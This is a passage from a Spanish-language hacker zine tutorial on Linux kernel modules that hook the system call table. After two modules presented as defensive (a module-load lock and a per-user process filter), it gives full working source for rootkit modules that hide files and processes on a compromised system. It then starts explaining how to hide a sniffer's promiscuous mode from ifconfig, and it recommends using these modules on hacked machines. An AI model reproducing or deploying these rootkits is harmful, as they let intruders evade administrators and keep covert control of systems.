if ((mn=register_chrdev(mn, "my_device", &fops))<0) return(-1);
printk("Major number = %i\n", mn);
/*
* Pacheamos getdents para que se ejecute nuestro contador.
*/
o_getdents=sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents]=my_getdents;
counter=0;
return(0);
}
void cleanup_module() {
/*
* Desregistramos nuestro dispositivo...
*/
unregister_chrdev(mn, "my_device");
/*
* ...y dejamos getdents como antes.
*/
sys_call_table[__NR_getdents]=o_getdents;
}
---/ my_device.h /---
Fijaos que tras la descarga del modulo debemos desregistrar el
dispositivo, para ello usaremos unregister_chrdev() tal y como se ve en el
ejemplo.
4.11. Un par de modulos ¿utiles?
--------------------------------
Antes de pasar a explicar las posiblidades que los LKMs nos dan para
troyanizar un sistema creo que seria conveniente mostrar dos ejemplos
sencillos de LKM que tienen alguna utilidad practica. He tratado de
comentarlos un poco para que puedan ser entendidos bien, y, en principio, no
deberian suponer ningun complicacion para vosotros.
El primero de ellos es un modulo que se encarga de asegurar que nadie
nos troyanize el sistema usando otros modulos, para ello parcheo las
syscalls init_module() y delete_module() evitando que personas no
autorizadas sean capaces de cargar o descargar modulos (ni siquiera el root
podra cargar/descargar un modulo sin saber el metodo). Lo que en este modulo
hacemos es establecer una variable que indicara si se pueden cargar o
descargar modulos (status.mperm), la cual podremos modificar usando kill
pasando el signal y el pid adecuado (status.sig, status.key).
---/ modprotect.c /---
/*
* TILE: ModProtect v1.0 <3/5/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Loadable kernel module usage may be a security problem. If some
* intruder enter in your system, he can troyanize your kernel
* using a malicious LKM. With ModProtect you can hasten/unhasten the
* LKM suport using kill command with a secret pid and secret signal.
*
* USAGE: When you load ModProtect you must to especify the secret pid
* and secret signal usig module params. This is an example.
*
* root@donasec.com ~# insmod modprotect.o sig=31 pid=7469 [-f]
* root@donasec.com ~#
*
* For default, the permission to load/unload Loadable kernel
* module are OFF.
*
* RECOM: I recommend to hide ModProtect using the hider.c LKM for more
* protection, because if one LKM have been hided it whouldn't be
* unloaded never (only rebooting system).
*
* TESTED: This LKM have been tested whitout problems on:
* - Linux kernel 2.2.18pre10 (Debian 2.2)
* - Linux kernel 2.2.18 (Debian 2.2)
* - Linux kernel 2.2.19 (debian 2.2, Slackware 7.1)
*
*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEF_KEY 7469
#define DEF_SIG 31
#define OFF 0x00
#define ON 0x01
extern void *sys_call_table[];
int (*o_init_module)(const char *name, struct module *image);
int (*o_delete_module)(const char *name);
int (*o_kill)(pid_t pid, int sig);
int key;
int sig;
struct {
int key;
int sig;
int mperm;
} status;
/*
* Estas dos rutinas my_init_module() y my_delete_module() substituiran a las
* rutinas reales cuando la carga/descarga de modulos este prohivida.
*/
int my_init_module(const char *name, struct module *image) {
(*o_delete_module)(name); /* Esto tengo que ponerlo, porque sino la
estructura module me queda cargada en
la lista enlazada... la verdad es que no
se bien bien porque ocurre, pero con esto
lo solucione */
return(-1); /* Debemos retornar error, ehehe */
}
int my_delete_module(const char *name) {
return(-1); /* Error... lo mismo que antes */
}
/*
* Esta rutina la usaremos para que kill nos sirva para activa/desactivar la
* proteccion en la carga de modulos, podemos ver que lo que hago es alternar
* entre las rutinas reales y las que veis un pelin mas arriba :)
*/
int my_kill(pid_t pid, int sig) {
if (sig!=status.sig) return((*o_kill)(pid, sig));
if (pid==status.key) {
if (status.mperm==OFF) {
status.mperm=ON;
sys_call_table[__NR_init_module]=o_init_module;
sys_call_table[__NR_delete_module]=o_delete_module;
printk("(MP) ModProtect OFF\n");
}
else {
status.mperm=OFF;
sys_call_table[__NR_init_module]=my_init_module;
sys_call_table[__NR_delete_module]=my_delete_module;
printk("(MP) ModProtect ON\n");
}
}
return(0);
}
int init_module() {
printk("(MP) ModProtect By Ripe - <ripe@7a69ezine.org>\n");
printk("Unloaded!\n");
status.mperm=OFF; /* De entrada no podemos cargar/descargar nada */
status.key=DEF_KEY;
status.sig=DEF_SIG;
/*
* Hookeasmos las sycalls que necesitamos
*/
o_init_module=sys_call_table[__NR_init_module];
o_delete_module=sys_call_table[__NR_delete_module];
o_kill=sys_call_table[__NR_kill];
sys_call_table[__NR_init_module]=my_init_module;
sys_call_table[__NR_delete_module]=my_delete_module;
sys_call_table[__NR_kill]=my_kill;
return(0); /* Todo correcto */
}
void cleanup_module() {
printk("(MP) ModProtect By Ripe - <ripe@7a69ezine.org>\n");
printk("Unloaded!\n");
/*
* Lo dejamos todo como antes.
*/
sys_call_table[__NR_init_module]=o_init_module;
sys_call_table[__NR_delete_module]=o_delete_module;
sys_call_table[__NR_kill]=o_kill;
}
---/ modprotect.c /---
Como podeis ver el modulo es realmente sencillo... pero es efectivo,
que es lo que cuenta (si ademas es sencillo mejor, porque puedo aprovechar y
ponerlo de ejemplo aqui :). Vamos a ver si funciona el modulo:
barracuda ~# insmod modprotect.o
barracuda ~# rmmod modprotect
modprotect: Operation not permitted
barracuda ~# insmod hello_goodbye_world.o
insmod hello_goodbye_world.o: init_module: Operation not permitted
Perfecto, estamos protegidos ante la carga/descarga de modulos... pero
ahora queremos cargar uno :P
barracuda ~# kill -31 7469
barracuda ~# insmod hello_goodbye_world.o
barracuda ~# tail -n 1 /var/log/message
May 12 01:43:21 localhost Hello World!
barracuda ~#
Como podeis ver nuestro primer modulo "util" funciona a la perfeccion.
Ademas este ejemplo os sirve para ver, tambien, que programar modulos que
tengan cierta utilidad no requiere codear una gran cantidad de lineas. Esto
lo veremos tambien en nuestro segundo modulo, segadd3.
Segadd3 fue el primer modulo serio (aunque no es nada del otro mundo)
que yo programe. Lo que hace es ocultar a cada usuario los procesos que no
son suyos. Para poder hacer esto debemos saber como se las ingenia ps para
ver los procesos que se estan ejecutando en nuestra maquina, hay varias
maneras de hacerlo. Podemos ver el codigo fuente, o usat strace, yo me
decanto por la segunda opcion por ser la mas rapida :)
barracuda ~# strace ps > /dev/null
execve("/bin/ps", ["ps"], [/* 19 vars */]) = 0
brk(0) = 0x81623a4
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=11774, ...}) = 0
old_mmap(NULL, 11774, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40014000
close(3) = 0
open("/lib/libproc.so.2.0.6", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=33212, ...}) = 0
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\36"..., 4096) = 4096
old_mmap(NULL, 46404, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40017000
(... etc etc ...)
open("/proc", O_RDONLY|O_NONBLOCK|0x10000) = 6
fstat(6, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
fcntl(6, F_SETFD, FD_CLOEXEC) = 0
getdents(6, /* 58 entries */, 984) = 984
(... etc etc ...)
_exit(0) = ?
barracuda ~#
Lo tenemos!! Vemos claramente como ps abre /proc y aplica getdents
sobre su decriptor de fichero. No voy a explicar como funciona esta syscall,
el que lo quiera saber solo tiene que poner "man 2 getdents". Os recomiendo
que lo hagas, pues Segadd3 os sera dificil (por no decir imposible) de
entender si no conoceis bien como funciona esta syscall.
Y ahora, de sopeton, las fuentes de Segadd3, espero que los comentarios
que he añadido sean suficientes para su comprension:
---/ segadd3.c /---
/*
* TILE: SegAdd3 v1.2 <19/2/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: With this modules, only root cat view other EUID process. This
* LKM is very useful if you bestow shell acounts on your system
* and don't want that a user can view olther user process.
*
* USAGE: The usage is very simple. You solely must to load the segadd3
* LMK.
*
* root@donasec.com ~# insmod segadd3.o [-f]
* root@donasec.com ~#
*
* TESTED: This LKM have been tested without problems on:
* - Linux kernel 2.2.18pre10 (Debian 2.2)
* - Linux kernel 2.2.18 (Debian 2.2)
*
* This LKM have been tested whith a strange problem on:
* - Linux kernel 2.2.19 (Slackware 7.1)
*
* GRETZ: To YbY for the idea :)
*
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/fd.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <asm/fcntl.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <linux/file.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
extern void *sys_call_table[];
int (*o_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
int (*o_geteuid)(void);
int my_atoi(char *str) {
int res=0;
int mul=1;
char *ptr;
for (ptr=str+strlen(str)-1 ; ptr>=str ; ptr--) {
if ((*ptr<'0') || (*ptr>'9')) return(-1);
res+=(*ptr-'0')*mul;
mul*=10;
}
return(res);
}
/*
* Esta rutina la pille de no se donde... Devuelve la task_struct asociada a
* un pid. La usaremos para poder ver quien es el propietario de cada proceso.
*/
struct task_struct *get_task_struct(pid_t pid) {
struct task_struct *p=current;
do {
if (p->pid == pid) return p;
p=p->next_task;
} while (p!=current);
return(NULL);
}
void my_bzero(char *buf, int size) {
memset(buf, 0, size);
}
/*
* Este es mi getdents, jejeje.
*/
int my_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret=0;
int o_ret=(*o_getdents)(fd, dirp, count); /* Genereamos la salida real */
int euid=(*o_geteuid)(); /* ¿Quien soy? */
int pid;
int tmp=0;
struct task_struct *task;
struct dirent *dirp_cpy, *dirp_ret, *dirp_cpy2, *dirp_ret2;
if (o_ret<=0 || !euid) return(o_ret); /* Si la salida es 0, o si somos
el root, todo lo que viene mas
adelante es inutil :) */
dirp_cpy=(struct dirent *)kmalloc(o_ret, GFP_KERNEL);
dirp_ret=(struct dirent *)kmalloc(o_ret, GFP_KERNEL);
__generic_copy_from_user(dirp_cpy, dirp, o_ret); /* Nos traemos la salida
real hacia el kernel,
para poder tratarla. */
my_bzero((char *)dirp_ret, o_ret);
__generic_copy_to_user(dirp, dirp_ret, o_ret); /* Con esto dejamos en
blanco el dirp */
dirp_cpy2=dirp_cpy;
dirp_ret2=dirp_ret;
while (tmp<o_ret) {
tmp=tmp+dirp_cpy2->d_reclen;
if (dirp_cpy2->d_reclen==0) break;
pid=my_atoi(dirp_cpy2->d_name);
task=get_task_struct((pid_t)pid); /* Pillamos la task_struct */
/*
* Si el pid es el de un proceso nuestro... adelante, lo copiamos.
*/
if (((task!=NULL) && (task->euid==euid)) || (task==NULL)) {
memcpy(dirp_ret2, dirp_cpy2, dirp_cpy2->d_reclen);
ret=ret+dirp_cpy2->d_reclen;
dirp_ret2=(struct dirent *)((char *)dirp_ret2+dirp_cpy2->d_reclen);
}
dirp_cpy2=(struct dirent *)((char *)dirp_cpy2+dirp_cpy2->d_reclen);
}
__generic_copy_to_user(dirp, dirp_ret, ret);
kfree(dirp_cpy);
kfree(dirp_ret);
return(ret);
}
/*
* Y aqui lo de siempre....
*/
int init_module(void) {
o_getdents=sys_call_table[__NR_getdents];
o_geteuid=sys_call_table[__NR_geteuid];
sys_call_table[__NR_getdents]=my_getdents;
printk("SegAdd3 v1.2 By Ripe - <ripe@7a69ezine.org>\n");
printk("(SA) Loaded!\n");
return(0);
}
void cleanup_module()
{
sys_call_table[__NR_getdents]=o_getdents;
printk("SegAdd v1.2 by Ripe - <ripe@7a69ezine.org>\n");
printk("(SA) UnLoaded!\n");
}
MODULE_AUTHOR("Ripe - <ripe@7a69ezine.org>");
MODULE_DESCRIPTION("Security: Process protection");
---/ segadd3.c /---
Veamos si funciona bien esta cosa....
barracuda ~# insmod segadd3.o
barracuda ~# su lripe
barracuda /root$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
lripe 199 0.0 0.4 2008 1216 tty1 S May11 0:00 bash
lripe 212 0.4 0.9 3496 2344 tty1 S May11 0:00 BitchX
lripe 224 0.0 0.4 2008 1212 tty2 S May11 0:04 bash
barracuda /root$
Pues parece que si, solo somos capaces de ver nuestros procesos (exepto
el root que los puede ver todos).
Esta version de Segadd3 es algo estupida, pues tiene algun que otro
error. Por ejemplo no comprobamos que el decriptor de fichero pasado a
getdents() corresponda al directorio /proc, con lo que cualquier fichero que
tenga como nombre un numero de pid valido sera pasado por el filtro. Ademas
tiene otro problema, y es que si bien con este modulo evitamos que se puedan
ver los procesos de los demas (incluso al hacer un "ls /proc" queda oculto),
se pueden llegar a ver dichos procesos entrando en /proc/<PID>. Esto tiene
facil solucion, solo tendriamos que parchear la syscall chdir(), pero eso os
lo dejo a vosotros. Mejorad esta version de Segadd3!!
5. Uso de LKMs para provecho personal (Troyanizando el kernel)
--------------------------------------------------------------
Todos sabemos que esto del hacking se esta conviertiendo en una moda
juvenil. Todos los crios quieren jugar a ser hackers tras ver a zerocool
haciendo maravillas con su ordenador portatil, es por ello que el numero de
ataques a servidores se han multiplicado en los ultimos años. Pero lo que
estos crios no saben es que infiltrarse en una maquina es una tarea
realmente facil, basta con estar a la ultima en vulnerabilidades. Lo
realmente dificil es mantenerse oculto en el sistema, que al administrador
le sea imposible saber que estamos dentro, que no dejemos ni una sola
huella... para conseguir eso tenemos que colocarnos por encima del
administrador, ¿Y que hay con mas privilegios que el UID 0? Pues Ring0, el
kernel. En este seccion voy a explicar las distintas tecnicas que podemos
usar para lograr mantenernos ocultos en un sistema (ocultacion de ficheros,
procesos, modos promiscuos en las interfaces de red...). Seguro que habra
algun kiddie que cojera los modulos aqui publicados y los usara sin
intresarse lo mas minimo en su funcionamiento, pero bueno, eso a mi no me
importa demasiado, cada uno es libre de hacer lo que le plazca.
5.1. Ocultando ficheros
-----------------------
Normalmente, cuando logramos acceso a un computador nos es necesario
dejar ahi determinados ficheros, los logs de un sniffer por ejemplo, cosa
que puede delatarnos si el administrador del sistema se percata. Obiamente
podriamos troyanizar "ls", pues es el comando que se suele usar para listar
el contenido de un directorio, pero nosotros queremos estar seguros de que
bajo ningun concepto los ficheros que queremos ocultar seran visibles, por
ello optamos por troyanizar el kernel. Ya hemos visto que para extraer el
contenido de un directorio se usa la syscall getdents, ya sabemos por donde
empezar a atacar el kernel.
¿Como haremos que el kernel sepa que ocultar y que no? Facil.
Mantendremos una lista enlacada con todos los ficheros a ocultar, de manera
que getdents consulte cada una de las entradas para comprovar si esta se
encuentra en la lista enlazada, y si se encuentra en ella... pues la oculta.
Es algo realmente facil de hacer.
---/ rhidef.c /---
/*
* TILE: RhideF v1.0 <10/5/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: This is a file hider LKM. You'll be able ro hide/unhide files
* using a simple "mv" command. When you insert the module you can
* to specify the magic words to insert and delete file in hide
* list.
*
* root@donasec.com ~# insmod rhidef.o ins=mete del=saca [-f]
* root@donasec.com ~#
*
* You'll hide a file using "mv <file> mete" and unhide it using
* "mv <file> saca". Easy.
*
* RECOM: If you use this LKM in a hacked system I recomend revise the
* source (script-kidiie sux) and hider this LKM using hider.c :)
*
* TESTED: This LKM have been tested without problems on:
* - Linux Kernel 2.2.18pre10 (Debian 2.2)
* - Linux Kernel 2.2.18 (Debian 2.2)
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEBUGMODE /* Kiddie protection (aprovecho que los kiddies no len
esto :P) */
#define DEF_INS "insert_file"
#define DEF_DEL "delete_file"
extern void *sys_call_table[];
char *ins;
char *del;
struct {
char *ins;
char *del;
} status;
/*
* Estructura que usare para la lista enlazada.
*/
typedef struct {
char *file;
struct lfile *next;
} lfile;
/*
* Puntero que apunta al inicio de la lista enlazada
*/
lfile *f_list;
int (*o_rename)(const char *oldpath, const char *newpath);
int (*o_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
void my_bzero(char *buf, int size) {
memset(buf, 0, size);
}
/*
* add_file(), del_file(), is_file() son rutinas para el mantenimiento de la
* lista enlazada (meter y sacar elementos, comprovar si hay un elemento en la
* lista... lo tipico).
*/
void add_file(char *file) {
lfile *ptr=f_list;
#ifdef DEBUGMODE
printk("(RF) Adding %s file to hide list\n", file);
#endif
if (is_file(file)==1) return;
if (ptr) {
while (ptr->next) {
if (!strcmp(ptr->file, file)) return;
ptr=(lfile *)ptr->next;
}
ptr->next=(struct lfile *)kmalloc(sizeof(lfile), GFP_KERNEL);
ptr=(lfile *)ptr->next;
ptr->file=(char *)kmalloc(strlen(file)+1, GFP_KERNEL);
strcpy(ptr->file, file);
ptr->next=NULL;
} else {
f_list=(lfile *)kmalloc(sizeof(lfile), GFP_KERNEL);
ptr=f_list;
ptr->file=(char *)kmalloc(strlen(file)+1, GFP_KERNEL);
strcpy(ptr->file, file);
ptr->next=NULL;
}
return;
}
void del_file(char *file) {
lfile *ptr=f_list, *ptr2;
#ifdef DEBUGMODE
printk("(RF) Deleting %s file from hide list\n", file);
#endif
if (!ptr) return;
if (!strcmp(ptr->file, file)) {
f_list=(lfile *)ptr->next;
kfree(ptr->file);
kfree(ptr);
return;
}
while(ptr) {
if (!strcmp(ptr->file, file)) break;
ptr2=ptr;
ptr=(lfile *)ptr->next;
}
if (ptr) {
ptr2->next=ptr->next;
kfree(ptr->file);
kfree(ptr);
}
return;
}
int is_file(char *file) {
lfile *ptr=f_list;
while(ptr) {
if (!strcmp(ptr->file, file)) return(1);
ptr=(lfile *)ptr->next;
}
return(0);
}
/*
* Troyanizamos rename, pues sera la syscall que usaremos para comunicarnos
* con el kernel solicitandode que oculte/desoculte todos los ficheros con
* un determinado nombre usando el comando "mv".
*/
int my_rename(const char *oldpath, const char *newpath) {
if (!strcmp(newpath, status.ins)) {
add_file((char *)oldpath);
return(0);
}
if (!strcmp(newpath, status.del)) {
del_file((char *)oldpath);
return(0);
}
return((*o_rename)(oldpath, newpath));
}
/*
* No lo comentare mucho. Mirad los comentarios que he puesto en Segadd3, pues
* son aplicables aqui practicamente del mismo modo.
*/
int my_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret=0;
int o_ret=(*o_getdents)(fd, dirp, count);
int tmp=0;
struct task_struct *task;
struct dirent *dirp_cpy, *dirp_ret, *dirp_cpy2, *dirp_ret2;
if (o_ret<=0) return(o_ret);
dirp_cpy=(struct dirent *)kmalloc(o_ret, GFP_KERNEL);
dirp_ret=(struct dirent *)kmalloc(o_ret, GFP_KERNEL);
__generic_copy_from_user(dirp_cpy, dirp, o_ret);
my_bzero((char *)dirp_ret, o_ret);
__generic_copy_to_user(dirp, dirp_ret, o_ret);
dirp_cpy2=dirp_cpy;
dirp_ret2=dirp_ret;
while (tmp<o_ret) {
tmp=tmp+dirp_cpy2->d_reclen;
if (dirp_cpy2->d_reclen==0) break;
if (is_file(dirp_cpy2->d_name)==0) {
memcpy(dirp_ret2, dirp_cpy2, dirp_cpy2->d_reclen);
ret=ret+dirp_cpy2->d_reclen;
dirp_ret2=(struct dirent *)((char *)dirp_ret2+dirp_cpy2->d_reclen);
}
dirp_cpy2=(struct dirent *)((char *)dirp_cpy2+dirp_cpy2->d_reclen);
}
__generic_copy_to_user(dirp, dirp_ret, ret);
kfree(dirp_cpy);
kfree(dirp_ret);
return(ret);
}
/*
* ¿Digame?
*/
int init_module() {
status.ins=(char *)kmalloc(strlen(DEF_INS), GFP_KERNEL);
status.del=(char *)kmalloc(strlen(DEF_DEL), GFP_KERNEL);
strcpy(status.ins, DEF_INS);
strcpy(status.del, DEF_DEL);
if (ins) {
kfree(status.ins);
status.ins=ins;
}
if (del) {
kfree(status.del);
status.del=del;
}
o_rename=sys_call_table[__NR_rename];
o_getdents=sys_call_table[__NR_getdents];
sys_call_table[__NR_rename]=my_rename;
sys_call_table[__NR_getdents]=my_getdents;
#ifdef DEBUGMODE
printk("(RF) RhideF by Ripe - <ripe@7a69ezine.org>\n");
printk("(RF) Loaded!\n");
#endif
return(0);
}
void cleanup_module() {
sys_call_table[__NR_rename]=o_rename;
sys_call_table[__NR_getdents]=o_getdents;
#ifdef DEBUGMODE
printk("(RF) RhideF by Ripe - <ripe@7a69ezine.org>\n");
printk("(RF) UnLoaded!\n");
#endif
}
MODULE_AUTHOR("Ripe - <ripe@7a69ezine.org>");
MODULE_DESCRIPTION("hack: File hider");
MODULE_PARM(ins, "s");
MODULE_PARM(del, "s");
---/ rhidef.c /---
5.2 Ocultacion de procesos
--------------------------
Ya vimos cuando presente el modulo segadd3, que lo que ps hace para
saber los procesos que en ese momento hay activos en la maquina lee el
directorio /proc de la mima forma que ls le cualquier otro directoro, usando
la syscall getdents.
Seguidamente os muestro rhipep.c, que es un modulo muy similar a
rhidef.c, pero que se encarga de ocultar los procesos de la lista enlazada.
Obiamente este modulo tiene los mismos defectos que comentamos en segadd3
(ver atras), problemes, que por otra parte, tienen facil solucion, como ya
dije en su momento.
---/ rhidep.c /---
/*
* TILE: RhideP v1.0 <10/5/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DECRP: This is a process hider LKM. In this module you can hide/unhide a
* process using kill syscall. When you insert the module, you can
* pase the hide and unhide signal using "ins" and "del" argument.
*
* root@donasec.com ~# insmod rhidep.o ins=16 del=31 [-f]
* root#donasec.com ~#
*
* Using the example, you'll hide process using "kill -16 <pid>" and
* unhide using "kill-31 <pid>" command.
*
* RECOM: If you use this LKM to hide process on a hacked system, is very
* important to hide the module too. To do it you should use the
* hider.c LKM (Good hack!).
*
* NOTE: (for Script-kidiies) If you use it the admin will see you ¿Why? :)
*
* TESTED: This LKM have been tested without problems on:
* - Linux Kernel 2.2.18pre10 (Debian 2.2)
* - Linux Kernel 2.2.18 (Debian 2.2)
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEBUGMODE
#define DEF_INS 16
#define DEF_DEL 31
extern void *sys_call_table[];
int ins;
int del;
struct {
int ins;
int del;
} status;
typedef struct {
pid_t pid;
struct lpid *next;
} lpid;
lpid *p_list;
int (*o_kill)(pid_t pid, int sig);
int (*o_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
int my_atoi(char *str) {
int res=0;
int mul=1;
char *ptr;
for(ptr=str+strlen(str)-1 ; ptr>=str ; ptr--) {
if ((*ptr<'0') || (*ptr>'9')) return(-1);
res+=(*ptr-'0')*mul;
mul*=10;
}
return(res);
}
void my_bzero(char *buf, int size) {
memset(buf, 0, size);
}
struct task_struct *get_task_struct(pid_t pid) {
struct task_struct *p=current;
do {
if (p->pid==pid) return(p);
p=p->next_task;
} while (p!=current);
return(NULL);
}
void add_pid(pid_t pid) {
lpid *ptr=p_list;
#ifdef DEBUGMODE
printk("(RP) Adding %i pid to hide list\n", pid);
#endif
if (is_pid(pid)==1) return;
if (ptr) {
while (ptr->next) {
if (ptr->pid==pid) return;
ptr=(lpid *)ptr->next;
}
ptr->next=(struct lpid *)kmalloc(sizeof(lpid), GFP_KERNEL);
ptr=(lpid *)ptr->next;
ptr->pid=pid;
ptr->next=NULL;
} else {
p_list=(lpid *)kmalloc(sizeof(lpid), GFP_KERNEL);
ptr=p_list;
ptr->pid=pid;
ptr->next=NULL;
}
return;
}
void del_pid(pid_t pid) {
lpid *ptr=p_list, *ptr2;
#ifdef DEBUGMODE
printk("(RP) Deleting %i pid from hide list\n", pid);
#endif
if (!ptr) return;
if (ptr->pid==pid) {
p_list=(lpid *)ptr->next;
kfree(ptr);
return;
}
while(ptr) {
if (ptr->pid==pid) break;
ptr2=ptr;
ptr=(lpid *)ptr->next;
}
if (ptr) {
ptr2->next=ptr->next;
kfree(ptr);
}
return;
}
int is_pid(pid_t pid) {
lpid *ptr=p_list;
while(ptr) {
if (ptr->pid==pid) return(1);
ptr=(lpid *)ptr->next;
}
return(0);
}
int my_kill(pid_t pid, int sig) {
if (status.ins==sig) {
add_pid(pid);
return(0);
}
if (status.del==sig) {
del_pid(pid);
return(0);
}
return((*o_kill)(pid, sig));
}
int my_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret=0;
int o_ret=(*o_getdents)(fd, dirp, count);
int pid;
int tmp=0;
struct task_struct *task;
struct dirent *dirp_cpy, *dirp_ret, *dirp_cpy2, *dirp_ret2;
if (o_ret<=0) return(o_ret);
dirp_cpy=(struct dirent *)kmalloc(o_ret, GFP_KERNEL);
dirp_ret=(struct dirent *)kmalloc(o_ret, GFP_KERNEL);
__generic_copy_from_user(dirp_cpy, dirp, o_ret);
my_bzero((char *)dirp_ret, o_ret);
__generic_copy_to_user(dirp, dirp_ret, o_ret);
dirp_cpy2=dirp_cpy;
dirp_ret2=dirp_ret;
while (tmp<o_ret) {
tmp=tmp+dirp_cpy2->d_reclen;
if (dirp_cpy2->d_reclen==0) break;
pid=my_atoi(dirp_cpy2->d_name);
task=get_task_struct(pid);
if (((task!=NULL) && (is_pid(pid)==0)) || (task==NULL)) {
memcpy(dirp_ret2, dirp_cpy2, dirp_cpy2->d_reclen);
ret=ret+dirp_cpy2->d_reclen;
dirp_ret2=(struct dirent *)((char *)dirp_ret2+dirp_cpy2->d_reclen);
}
dirp_cpy2=(struct dirent *)((char *)dirp_cpy2+dirp_cpy2->d_reclen);
}
__generic_copy_to_user(dirp, dirp_ret, ret);
kfree(dirp_cpy);
kfree(dirp_ret);
return(ret);
}
int init_module() {
status.ins=DEF_INS;
status.del=DEF_DEL;
if (ins) status.ins=ins;
if (del) status.del=del;
o_kill=sys_call_table[__NR_kill];
o_getdents=sys_call_table[__NR_getdents];
sys_call_table[__NR_kill]=my_kill;
sys_call_table[__NR_getdents]=my_getdents;
#ifdef DEBUGMODE
printk("(RP) RhideP by Ripe - <ripe@7a69ezine.org>\n");
printk("(RP) Loaded!\n");
#endif
return(0);
}
void cleanup_module() {
sys_call_table[__NR_kill]=o_kill;
sys_call_table[__NR_getdents]=o_getdents;
#ifdef DEBUGMODE
printk("(RP) RhideP by Ripe - <ripe@7a69ezine.org>\n");
printk("(RP) UnLoaded!\n");
#endif
}
MODULE_AUTHOR("Ripe - <ripe@7a69ezine.org>");
MODULE_DESCRIPTION("hack: Process hider");
MODULE_PARM(ins, "i");
MODULE_PARM(del, "i");
---/ rhidep.c /---
Este codigo no esta demasiado comentado, pues creo que si habeis
entendido bien los demas LKMs presentados este no os sera nada complicado de
entender, si no lo entiendes... xor eax,eax y jmp eax.
5.3. Ocultando el modo promiscuo de las interfaces de red
---------------------------------------------------------
Supongo que todos los que estais leiendo esto sabeis que el kernel de
nuestro sistema operativo favorito, solo procesa aquellos paquetes que llegan
por las interfaces de red que van dirigidos a el, por lo que desde la maquina
solo seria posible leer los paquetes dirigidos a ella. ¿Como trabaja
entonces un sniffer? Colocando la interface en modo promiscuo. Lo que este
modo hace es permitir el paso hacia la pila de protocolos de cualquier
paquete que entre por dicha interface, vaya o no dirigida a esa maquina. El
estado de una interface de red lo podemos ver usando el comando ifconfig.
barracuda ~# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:E0:29:9A:D0:A9
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupt:11 Base address:0xdc00
barracuda ~#
Usando ifconfig es muy facil ver si una interface de red esta en modo
promiscuo o no, por ello si nosotros colocamos un sniffer en una maquina, el
administrador del sistema solo necesitara de ifconfig para delatarnos. Pero
esto es evitable, una vez mas, con un modulo para el kernel, pero esto lo
veremos dentro de poco, antes veamo que es lo que vera el administrador del
sistema si eth0 esta en modo promiscuo.
barracuda ~# ifconfig eth0 promisc
eth0: Promiscuous mode enable.
barracuda ~# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:E0:29:9A:D0:A9
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupt:11 Base address:0xdc00
barracuda ~#
Notese ese PROMISC que aprece entre RUNNING y MULTICAST... El
administrador ha dado con nostros!!
Si alguna vez habeis programado un sniffer sabreis que para setear los
modos de una interface de red usaremos la syscall iotcl, la misma que usaremos
para comprobarlos. Esta claro donde hay que atacar no?
barracuda ~# strace ifconfig eth0 promisc
execve("/sbin/ifconfig", ["ifconfig", "eth0", "promisc"], [/* 18 vars */]) = 0
brk(0) = 0x8054544
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
(... etc etc ...)
ioctl(4, SIOCGIFFLAGS, 0xbffffbec) = 0
ioctl(4, SIOCSIFFLAGS, 0xbffffbec) = 0
_exit(0) = ?
barracuda ~#
Como vemos el segundo argumento de ioctl se usa para indicar la accion a
realizar.
-> SIOCGIFFLAGS se usa cuando queremos sacar el estado de una interface
de red.
-> SIOCSIFFLAGS se usa para setear el estado de la interface de red.
En los casos que tratamos, el tercer argumento sera un puntero a una
estructura del tipo ifreq.
---/ include/linux/if.h /---
(...)
/* Standard interface flags. */
